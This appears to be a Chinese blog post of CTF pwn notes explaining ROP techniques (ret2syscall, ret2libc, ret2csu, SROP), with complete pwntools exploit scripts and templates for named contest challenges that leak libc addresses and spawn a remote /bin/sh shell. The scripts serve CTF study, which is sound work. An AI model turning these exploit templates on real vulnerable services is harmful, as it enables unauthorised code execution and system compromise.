ROP系列

ret2text

覆盖ret,劫持程序流到程序片段(如后门函数)执行。

ret2shellcode

覆盖ret,劫持程序流到自己布置的shellcode处执行。

ret2syscall

通过ROP链来给寄存器赋值,触发中断调用系统函数来getshell。

常见函数的调用号:

linux 系统调用号表_x86 系统调用号-CSDN博客

系统调用步骤:

1.把所需函数的调用号赋值给rax/eax寄存器

2.给参数传参,32位就直接在栈上隔一个单位,64位是rdi->rsi->rdx->rcx->r8->r9

3.触发中断,32位是int 80;64位是syscall。然后就能调用函数执行对应指令了。

示例payload,已知binsh地址,传参然后调用system函数来getshell:

payload = b'a'*offset
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdi)+p64(binsh)
payload += p64(pop_rsi_r15)+p64(0)+p64(0)
payload += p64(pop_rdx)+p64(0)
payload += p64(syscall)

ret2libc


通常用于题目本身没给binsh和system/execve函数的时候。libc是一个动态链接库,里面有system和binsh字符串,可以通过间接的方式来找它们。先找一个可以打印的函数,这个函数需满足在got表中,并且也得在libc中。先利用溢出来执行这个打印的函数,然后把它got地址处的值,即真实地址打印出来,根据它的的真实地址可以用LibcSearch搜到对应的libc版本(不同版本各函数偏移不一样),然后用它的地址减去libc版本中它的偏移,就能得到libc的起始地址,用libc的起始地址加上目标函数(如system)的偏移,就是目标函数的真正地址。

步骤:

1.泄露特定函数地址

通常用write或者puts,我更喜欢用后者,因为参数只需要给一个就行。

write:

payload=cyclic(offset)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(4)+p64(write_plt)+p64(main)

puts:

payload=cyclic(offset)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)

2.通过泄露的函数地址计算所需函数的地址:

两种办法:

如果题目给了libc就直接用:

libc=ELF("/home/monke/vmcourse_pwn/5/libc.so.6")
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))

如果题目没给,就得用libcsearcher,一个一个试:

libc=LibcSearcher("puts",puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')




3.拿到binsh和system地址后就是常规ROP来getshell

payload=cyclic(offset)+p64(pop_rdi)+p64(binsh)+p64(system)

模板:

from pwn import*
from LibcSearcher import *
p=remote("10.12.153.73",10302)
#p = process("/home/monke/vmcourse_pwn/5/pwn.bin")
elf=ELF("/home/monke/vmcourse_pwn/5/pwn.bin")
context(arch="amd64", os="linux", log_level="debug")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=elf.sym["main"]
pop_rdi=0x40117e
ret=0x40101a
 
payload=cyclic(64+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
 
p.sendlineafter('Go!!!',payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
 
print(hex(puts))
 
libc=ELF("/home/monke/vmcourse_pwn/5/libc.so.6")
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh = libcbase + next(libc.search(b"/bin/sh"))
#libc=LibcSearcher("puts",puts)
#libcbase=puts-libc.dump('puts')
#system=libcbase+libc.dump('system')
#binsh=libcbase+libc.dump('str_bin_sh')
print(hex(system))
print(hex(binsh))
 
payload=cyclic(64+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendlineafter('Go!!!',payload)
p.interactive()

此外,需要注意的是,有时候ret2libc类型题会出现这样一种情况,即使用ebx/rbx来保存got表地址,这个时候需要将其保留,不能覆盖:

可以直接用IDA看:

payload模板需要更改为:

ebx = base + 0x2fc0
payload = cyclic(132) + p32(ebx) + b"bbbb" + p32(write_plt) + p32(ctfshow) + p32(1) + p32(write_got) + p32(4)

ret2csu

64位传参是rdi->rsi->rdx->rcx->r8->r9,但是有时候程序找不到pop rdx的gadget,那怎么实现传参呢?这时候就需要ret2csu了。

在调用了libc库的程序里面,会有这样一个函数来进行初始化:

内容如下:

从上图可以看到,虽然没有直接pop rdx,但是有pop r13和mov rdx,r13,也就是可以间接操控rdx的值,这就解决了没有pop rdx的问题。

利用函数模板:

def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):

payload = cyclic(offset)

payload += p64(csu_behind_gadget)

payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)

payload += p64(csu_front_gadget)

payload += p64(0) * 7

payload += p64(main_addr)

p.sendlineafter('You Find Me?!!\n',payload)

利用代码:

csu(0,0, 1, elf.got["read"], 16, bss, 0, vuln)

p.send(p64(execve) + b'/bin/sh\x00')

csu(0,0, 1, bss, 0, 0, bss+8, vuln)

其中,fill是因为csu_behind_gadget开头有个add rsp,8 ,得平衡一下栈。rbx为0,rbp为1是为了满足指令add rbx,1; cmp rbx,rbp;剩下的就是正常传参,注意,不同程序寄存器的对应关系可能有偏差,比如有时候是mov rdx,r13;有时候是mov rdx,r15;得根据具体情况来利用。

例题 UCTC CTF2024 a gift:

常规的ret2csu

找csu片段:

所以有

def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):

payload = cyclic(16)

payload += p64(csu_behind_gadget)

payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)

payload += p64(csu_front_gadget)

payload += p64(0) * 7

payload += p64(main_addr)

p.sendlineafter('You Find Me?!!\n',payload)

后面按套路来就行

from pwn import*

from LibcSearcher import*

#连接远程

context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf=ELF('/home/monke/pwn/uctccttf/pwncsu/pwn')

p=remote("182.92.65.134",41373)

#p=process('/home/monke/pwn/uctccttf/pwncsu/pwn')

write_plt=elf.plt["write"]

write_got=elf.got["write"]

main_addr=elf.sym["main"]

vuln=0x4011c3

pop_rdi=0x4012f3

ret=0x401019

pop_rsi_r15=0x401411

csu_behind_gadget=0x4012E6

csu_front_gadget=0x4012D0

bss=0x404050

def csu(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):

payload = cyclic(16)

payload += p64(csu_behind_gadget)

payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)

payload += p64(csu_front_gadget)

payload += p64(0) * 7

payload += p64(main_addr)

p.sendlineafter('You Find Me?!!\n',payload)

def csu1(fill, rbx, rbp, r12_call, r13_rdx, r14_rsi, r15_rdi, main_addr):

payload = cyclic(16)

payload += p64(csu_behind_gadget)

payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12_call) + p64(r13_rdx) + p64(r14_rsi)+p64(r15_rdi)

payload += p64(csu_front_gadget)

payload += p64(0) * 7

payload += p64(main_addr)

p.sendlineafter('You Find Me?!!\n',payload)

p.sendlineafter('age?\n',b'1'*7)

csu(0,0, 1, write_got, 8, write_got, 1,vuln)

write = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))

print(hex(write))

libc = ELF("/home/monke/pwn/uctccttf/pwncsu/libc.so.6")

libcbase=write-libc.symbols['write']

execve=libcbase+libc.sym['execve']

read=libcbase+libc.sym['read']

print(hex(read))

print(hex(elf.sym["read"]))

csu(0,0, 1, elf.got["read"], 16, bss, 0, vuln)

p.send(p64(execve) + b'/bin/sh\x00')

#csu(0,0, 1, execve, 0, 0, bss, main_addr)

csu(0,0, 1, bss, 0, 0, bss+8, vuln)

p.interactive()

SROP

当进程j进行系统调用时,会保存当前寄存器状态到用户栈(形成ucontext结构体),然后跳转到信号处理函数,执行完后再通过sigreturn系统调用恢复保存的上下文,由于对ucontext结构体没有检查,所以可以通过伪造ucontext结构体并触发sigreturn函数(调用号为15)来getshell。

例题 御网杯2024 ASM

程序非常简短,且没有pop_rdi等gadget,显然是SROP题

通过以下三个gadget可以控制rax

写exp:

from pwn import *

context.arch = 'amd64'
#p=process("/home/monke/PWN/yuwangbei2024/ASM")
p= remote("gz.imxbt.cn",20176)


syscall_ret= 0x40102D
binsh = 0x40200A # 程序中给出了binsh
rcx=0x401034 #mov ecx, 1 ; xor rax, rcx ; ret
xor_rax=0x40103d #xor rax, rax ; ret
shl_rax=0x401030 #shl rax, 1 ; ret

# 构造SROP帧
frame = SigreturnFrame()
frame.rax = 59            # execve系统调用号
frame.rdi = binsh         # "/bin/sh"地址
frame.rsi = 0             # argv = NULL
frame.rdx = 0             # envp = NULL
frame.rip = syscall_ret   # 执行syscall

# 构造payload
payload=p64(xor_rax)+p64(rcx)+p64(shl_rax) #rax=10
payload+=p64(rcx)+p64(shl_rax) #rax=110
payload+=p64(rcx)+p64(shl_rax) #rax=1110
payload+=p64(rcx) #rax=1111,即0xf,sigreturn的系统调用号

payload += p64(syscall_ret)  # syscall触发sigreturn
payload += bytes(frame)   # 伪造的sigreturn帧

# 发送payload

#gdb.attach(p)
p.send(payload)

p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇